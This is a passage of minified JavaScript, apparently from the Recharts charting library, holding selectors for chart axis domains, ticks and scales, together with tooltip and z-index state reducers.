0),vI=T([ol],R4),E0=e=>e.map(t=>t.data).filter(Boolean).flat(1),gI=T([ol],E0,{memoizeOptions:{resultEqualityCheck:Xd}}),A0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},_0=T([gI,d4],A0),O0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Fe(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Fe(i,r)}))):e.map(r=>({value:r})),Zd=T([_0,tt,ol],O0);function $4(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function hc(e){if(Pr(e)||e instanceof Date){var t=Number(e);if(ze(t))return t}}function fb(e){if(Array.isArray(e)){var t=[hc(e[0]),hc(e[1])];return Tr(t)?t:void 0}var n=hc(e);if(n!=null)return[n,n]}function Mr(e){return e.map(hc).filter(nr)}function yI(e,t,n){return!n||typeof t!="number"||lr(t)?[]:n.length?Mr(n.flatMap(r=>{var i=Fe(e,r.dataKey),a,o;if(Array.isArray(i)?[a,o]=i:a=o=i,!(!ze(a)||!ze(o)))return[t-a,t+o]})):[]}var mt=e=>{var t=wt(e),n=ms(e);return hs(e,t,n)},ll=T([mt],e=>e==null?void 0:e.dataKey),bI=T([D4,d4,mt],_4),B4=(e,t,n,r)=>{var i={},a=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(a).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(N0);return[l,{stackedData:iT(e,d,n),graphicalItems:u}]}))},F4=T([bI,D4,al,k4],B4),W4=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:a}=t;if(r==null&&n!=="zAxis"){var o=lT(e,i,a);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},wI=T([tt],e=>e.allowDataOverflow),T0=e=>{var t;if(e==null||!("domain"in e))return oh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Mr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:oh},M0=T([tt],T0),L0=T([M0,wI],f4),jI=T([F4,Fr,Ze,L0],W4,{memoizeOptions:{resultEqualityCheck:Gd}}),Qd=e=>e.errorBars,kI=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>$4(n,r)),Pu=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var a,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>$4(i,v)),m=Fe(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=yI(l,m,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(a==null||xo)&&(o=g)}var y=fb(m);y!=null&&(a=a==null?y[0]:Math.min(a,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=fb(Fe(l,t.dataKey));c!=null&&(a=a==null?c[0]:Math.min(a,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),ze(a)&&ze(o))return[a,o]},NI=T([_0,tt,vI,Qd,Ze],I0,{memoizeOptions:{resultEqualityCheck:Gd}});function SI(e){var{value:t}=e;if(Pr(t)||t instanceof Date)return t}var zI=(e,t,n)=>{var r=e.map(SI).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&Wj(r))?_N(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},U4=e=>e.referenceElements.dots,xs=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),CI=T([U4,Ze,sl],xs),V4=e=>e.referenceElements.areas,PI=T([V4,Ze,sl],xs),H4=e=>e.referenceElements.lines,EI=T([H4,Ze,sl],xs),K4=(e,t)=>{if(e!=null){var n=Mr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},AI=T(CI,Ze,K4),q4=(e,t)=>{if(e!=null){var n=Mr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},_I=T([PI,Ze],q4);function OI(e){var t;if(e.x!=null)return Mr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Mr(n)}function TI(e){var t;if(e.y!=null)return Mr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Mr(n)}var Y4=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?OI(r):TI(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},MI=T([EI,Ze],Y4),LI=T(AI,MI,_I,(e,t,n)=>Pu(e,n,t)),D0=(e,t,n,r,i,a,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Pu(r,a,i):Pu(a,i);return K7(t,u,e.allowDataOverflow)},II=T([tt,M0,L0,jI,NI,LI,Me,Ze],D0,{memoizeOptions:{resultEqualityCheck:Gd}}),DI=[0,1],R0=(e,t,n,r,i,a,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=fr(t,a);if(u&&l==null){var d;return _N(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?zI(r,e,u):i==="expand"?DI:o}},$0=T([tt,Me,_0,Zd,al,Ze,II],R0);function RI(e){return e in qs}var G4=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var a="scale".concat(Go(r));return RI(a)?a:"point"}}},Ni=T([tt,L4,g0],G4);function B0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?ub(e.scale,n,r):ub(t,n,r)}var F0=(e,t,n)=>{var r=T0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Tr(e))return Z7(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Tr(e))return Q7(e,t.tickCount,t.allowDecimals)}},W0=T([$0,hs,Ni],F0),U0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Tr(t)&&Array.isArray(n)&&n.length>0){var i,a,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(a=n[n.length-1])!==null&&a!==void 0?a:0;return[Math.min(o,l),Math.max(c,u)]}return t},$I=T([tt,$0,W0,Ze],U0),BI=T(Zd,tt,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Mr(e.map(f=>f.value))).sort((f,m)=>f-m),i=r[0],a=r[r.length-1];if(i==null||a==null)return 1/0;var o=a-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!ze(e))return 0;var a=t==="vertical"?r.height:r.width;if(i==="gap")return e*a/2;if(i==="no-gap"){var o=sn(n,e*a),l=e*a/2;return l-o-(l-o)/a*o}return 0}),FI=(e,t,n)=>{var r=Wr(e,t);return r==null||typeof r.padding!="string"?0:X4(e,"xAxis",t,n,r.padding)},WI=(e,t,n)=>{var r=Ur(e,t);return r==null||typeof r.padding!="string"?0:X4(e,"yAxis",t,n,r.padding)},UI=T(Wr,FI,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),VI=T(Ur,WI,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),HI=T([yt,UI,Od,_d,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:a}=r;return i?[a.left,n.width-a.right]:[e.left+t.left,e.left+e.width-t.right]}),KI=T([yt,Me,VI,Od,_d,(e,t,n)=>n],(e,t,n,r,i,a)=>{var{padding:o}=i;return a?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),cl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return HI(e,n,r);case"yAxis":return KI(e,n,r);case"zAxis":return(i=z0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return P4(e);case"radiusAxis":return E4(e,n);default:return}},Z4=T([tt,cl],qd),qI=T([Ni,$I],O4),Jd=T([tt,Ni,qI,Z4],B0);T([ol,Qd,Ze],kI);function Q4(e,t){return e.idt.id?1:0}var ef=(e,t)=>t,tf=(e,t,n)=>n,YI=T(Ed,ef,tf,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(Q4)),GI=T(Ad,ef,tf,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(Q4)),J4=(e,t)=>({width:e.width,height:t.height}),XI=(e,t)=>{var n=typeof t.width=="number"?t.width:Qo;return{width:n,height:e.height}};T(yt,Wr,J4);var ZI=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},QI=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},JI=T($r,yt,YI,ef,tf,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=J4(t,l);o==null&&(o=ZI(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;a[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),a}),eD=T(Rr,yt,GI,ef,tf,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=XI(t,l);o==null&&(o=QI(t,r,e));var u=r==="left"&&!i||r==="right"&&i;a[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),a}),tD=(e,t)=>{var n=Wr(e,t);if(n!=null)return JI(e,n.orientation,n.mirror)};T([yt,Wr,tD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var nD=(e,t)=>{var n=Ur(e,t);if(n!=null)return eD(e,n.orientation,n.mirror)};T([yt,Ur,nD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});T(yt,Ur,(e,t)=>{var n=typeof t.width=="number"?t.width:Qo;return{width:n,height:e.height}});var e3=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:a,dataKey:o}=n,l=fr(e,r),c=t.map(u=>u.value);if(o&&l&&a==="category"&&i&&Wj(c))return c}},V0=T([Me,Zd,tt,Ze],e3),t3=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:a}=n,o=fr(e,r);if(o&&(i==="number"||a!=="auto"))return t.map(l=>l.value)}},H0=T([Me,Zd,hs,Ze],t3);T([Me,hI,Ni,Jd,V0,H0,cl,W0,Ze],(e,t,n,r,i,a,o,l,c)=>{if(t!=null){var u=fr(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:a,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var rD=(e,t,n,r,i,a,o,l,c)=>{if(!(t==null||r==null)){var u=fr(e,c),{type:d,ticks:f,tickCount:m}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&a!=null&&a.length>=2?Ut(a[0]-a[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return ze(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(nr):u&&l?l.map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(nr):r.ticks?r.ticks(m).map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(nr):r.domain().map((y,v)=>{var b=r.map(y);return ze(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(nr)}};T([Me,hs,Ni,Jd,W0,cl,V0,H0,Ze],rD);var iD=(e,t,n,r,i,a,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=fr(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?Ut(r[0]-r[1])*2*u:u,l&&a?a.map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(nr):n.ticks?n.ticks(c).map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(nr):n.domain().map((d,f)=>{var m=n.map(d);return ze(m)?{coordinate:m+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(nr)}},n3=T([Me,hs,Jd,cl,V0,H0,Ze],iD),r3=T(tt,Jd,(e,t)=>{if(!(e==null||t==null))return Cu(Cu({},e),{},{scale:t})}),aD=T([tt,Ni,$0,Z4],B0);T((e,t,n)=>z0(e,n),aD,(e,t)=>{if(!(e==null||t==null))return Cu(Cu({},e),{},{scale:t})});var sD=T([Me,Ed,Ad],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),i3=e=>e.options.defaultTooltipEventType,a3=e=>e.options.validateTooltipEventTypes;function s3(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function K0(e,t){var n=i3(e),r=a3(e);return s3(t,n,r)}function oD(e){return ye(t=>K0(t,e))}var o3=(e,t)=>{var n,r=Number(t);if(!(lr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},lD=e=>e.tooltip.settings,Zr={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},cD={itemInteraction:{click:Zr,hover:Zr},axisInteraction:{click:Zr,hover:Zr},keyboardInteraction:Zr,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},l3=Xt({name:"tooltip",initialState:cD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:Ue()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:Ue()},removeTooltipEntrySettings:{reducer(e,t){var n=Fn(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:Ue()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:uD,replaceTooltipEntrySettings:dD,removeTooltipEntrySettings:fD,setTooltipSettingsState:pD,setActiveMouseOverItemIndex:c3,mouseLeaveItem:mD,mouseLeaveChart:u3,setActiveClickItemIndex:hD,setMouseOverAxisIndex:d3,setMouseClickAxisIndex:xD,setSyncInteraction:lh,setKeyboardInteraction:ch}=l3.actions,vD=l3.reducer;function pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Vl(e){for(var t=1;t{if(t==null)return Zr;var i=wD(e,t,n);if(i==null)return Zr;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var a=e.settings.active===!0;if(jD(i)){if(a)return Vl(Vl({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return Vl(Vl({},Zr),{},{coordinate:i.coordinate})};function kD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function ND(e,t){var n=kD(e),r=t[0],i=t[1];if(n===void 0)return!1;var a=Math.min(r,i),o=Math.max(r,i);return n>=a&&n<=o}function SD(e,t,n){if(n==null||t==null)return!0;var r=Fe(e,t);return r==null||!Tr(n)?!0:ND(r,n)}var q0=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var a=Number(i);if(!ze(a))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(a,l)),u=t[c];return u==null||SD(u,n,r)?String(c):null},p3=(e,t,n,r,i,a,o)=>{if(a!=null){var l=o[0],c=l==null?void 0:l.getPosition(a);if(c!=null)return c;var u=i==null?void 0:i[Number(a)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},m3=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var a=e.tooltipItemPayloads[0];return a!=null?[a]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},h3=e=>e.options.tooltipPayloadSearcher,vs=e=>e.tooltip;function mb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function hb(e){for(var t=1;t{if(!(t==null||a==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((m,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=ED(g,l),b=Array.isArray(v)?Zk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,k;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?k=Uj(b,r,i):k=a(b,t,c,j),Array.isArray(k))k.forEach(N=>{var z=hb(hb({},y),{},{name:N.name,unit:N.unit,color:void 0,fill:void 0});m.push(ky({tooltipEntrySettings:z,dataKey:N.dataKey,payload:N.payload,value:Fe(N.payload,N.dataKey),name:N.name}))});else{var S;m.push(ky({tooltipEntrySettings:y,dataKey:w,payload:k,value:Fe(k,w),name:(S=Fe(k,j))!==null&&S!==void 0?S:y==null?void 0:y.name}))}return m},f)}},Y0=T([mt,L4,g0],G4),AD=T([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),_D=T([wt,ms],C0),gs=T([AD,mt,_D],P0,{memoizeOptions:{resultEqualityCheck:Xd}}),OD=T([gs],e=>e.filter(S0)),TD=T([gs],E0,{memoizeOptions:{resultEqualityCheck:Xd}}),ys=T([TD,Fr],A0),MD=T([OD,Fr,mt],_4),G0=T([ys,mt,gs],O0),v3=T([mt],T0),LD=T([mt],e=>e.allowDataOverflow),g3=T([v3,LD],f4),ID=T([gs],e=>e.filter(S0)),DD=T([MD,ID,al,k4],B4),RD=T([DD,Fr,wt,g3],W4),$D=T([gs],R4),BD=T([ys,mt,$D,Qd,wt],I0,{memoizeOptions:{resultEqualityCheck:Gd}}),FD=T([U4,wt,ms],xs),WD=T([FD,wt],K4),UD=T([V4,wt,ms],xs),VD=T([UD,wt],q4),HD=T([H4,wt,ms],xs),KD=T([HD,wt],Y4),qD=T([WD,KD,VD],Pu),YD=T([mt,v3,g3,RD,BD,qD,Me,wt],D0),ul=T([mt,Me,ys,G0,al,wt,YD],R0),GD=T([ul,mt,Y0],F0),XD=T([mt,ul,GD,wt],U0),y3=e=>{var t=wt(e),n=ms(e),r=!1;return cl(e,t,n,r)},b3=T([mt,y3],qd),w3=T([mt,Y0,XD,b3],B0),ZD=T([Me,G0,mt,wt],e3),QD=T([Me,G0,mt,wt],t3),JD=(e,t,n,r,i,a,o,l)=>{if(t){var{type:c}=t,u=fr(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?Ut(i[0]-i[1])*2*f:f,u&&o?o.map((m,h)=>{var x=r.map(m);return ze(x)?{coordinate:x+f,value:m,index:h,offset:f}:null}).filter(nr):r.domain().map((m,h)=>{var x=r.map(m);return ze(x)?{coordinate:x+f,value:a?a[m]:m,index:h,offset:f}:null}).filter(nr)}}},Vr=T([Me,mt,Y0,w3,y3,ZD,QD,wt],JD),X0=T([i3,a3,lD],(e,t,n)=>s3(n.shared,e,t)),j3=e=>e.tooltip.settings.trigger,Z0=e=>e.tooltip.settings.defaultIndex,dl=T([vs,X0,j3,Z0],f3),ns=T([dl,ys,ll,ul],q0),k3=T([Vr,ns],o3),N3=T([dl],e=>{if(e)return e.dataKey}),eR=T([dl],e=>{if(e)return e.graphicalItemId}),S3=T([vs,X0,j3,Z0],m3),tR=T([Rr,$r,Me,yt,Vr,Z0,S3],p3),nR=T([dl,tR],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),rR=T([dl],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),iR=T([S3,ns,Fr,ll,k3,h3,X0],x3),aR=T([iR],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function xb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function vb(e){for(var t=1;tye(mt),uR=()=>{var e=cR(),t=ye(Vr),n=ye(w3);return su(!e||!n?void 0:vb(vb({},e),{},{scale:n}),t)};function gb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ma(e){for(var t=1;t{var i=t.find(a=>a&&a.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},hR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var a=i.coordinate,{radius:o}=r;return ma(ma(ma({},r),st(r.cx,r.cy,o,a)),{},{angle:a,radius:o})}var l=i.coordinate,{angle:c}=r;return ma(ma(ma({},r),st(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function xR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var z3=(e,t,n,r,i)=>{var a,o=(a=t==null?void 0:t.length)!==null&&a!==void 0?a:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(m=n[l+1])===null||m===void 0?void 0:m.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(Ut(x-h)!==Ut(g-x)){var v=[];if(Ut(g-x)===Ut(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var k;return(k=n[l])===null||k===void 0?void 0:k.index}}else{var S=Math.min(h,g),N=Math.max(h,g);if(e>(S+x)/2&&e<=(N+x)/2){var z;return(z=n[l])===null||z===void 0?void 0:z.index}}}else if(t)for(var _=0;_(A.coordinate+P.coordinate)/2||_>0&&_(A.coordinate+P.coordinate)/2&&e<=(A.coordinate+O.coordinate)/2)return A.index}}return-1},C3=()=>ye(g0),Q0=(e,t)=>t,P3=(e,t,n)=>n,J0=(e,t,n,r)=>r,vR=T(Vr,e=>gd(e,t=>t.coordinate)),ev=T([vs,Q0,P3,J0],f3),tv=T([ev,ys,ll,ul],q0),gR=(e,t,n)=>{if(t!=null){var r=vs(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},E3=T([vs,Q0,P3,J0],m3),Eu=T([Rr,$r,Me,yt,Vr,J0,E3],p3),yR=T([ev,Eu],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),A3=T([Vr,tv],o3),bR=T([E3,tv,Fr,ll,A3,h3,Q0],x3),wR=T([ev,tv],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),jR=(e,t,n,r,i,a,o)=>{if(!(!e||!n||!r||!i)&&xR(e,o)){var l=cT(e,t),c=z3(l,a,i,n,r),u=mR(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},kR=(e,t,n,r,i,a,o)=>{if(!(!e||!r||!i||!a||!n)){var l=d8(e,n);if(l){var c=uT(l,t),u=z3(c,o,a,r,i),d=hR(t,a,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},NR=(e,t,n,r,i,a,o,l)=>{if(!(!e||!t||!r||!i||!a))return t==="horizontal"||t==="vertical"?jR(e,t,r,i,a,o,l):kR(e,t,n,r,i,a,o)},SR=T(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),zR=T(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Ht)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:oI}});function yb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function bb(e){for(var t=1;tbb(bb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),AR)},OR=new Set(Object.values(Ht));function TR(e){return OR.has(e)}var _3=Xt({name:"zIndex",initialState:_R,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 